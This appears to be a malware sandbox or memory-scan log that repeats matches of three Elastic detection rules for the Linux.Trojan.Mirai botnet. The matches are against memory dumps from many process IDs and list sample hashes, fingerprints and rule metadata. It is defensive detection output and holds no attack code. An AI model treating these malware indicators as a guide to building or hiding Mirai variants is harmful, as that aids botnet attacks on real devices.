Source: 7301.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7301.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7256.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7256.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7256.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7283.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7283.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7283.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6414.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6414.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6414.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6247.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6247.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6247.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7413.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7413.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7413.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7069.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7069.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7069.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6623.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6623.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6623.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6558.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6558.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6558.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6676.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6676.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6676.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6481.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6481.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6481.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6395.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6395.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6395.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6884.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6884.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6884.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6379.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6379.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6379.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7379.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7379.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7379.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6502.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6502.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6502.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6923.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6923.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6923.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6382.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6382.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6382.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
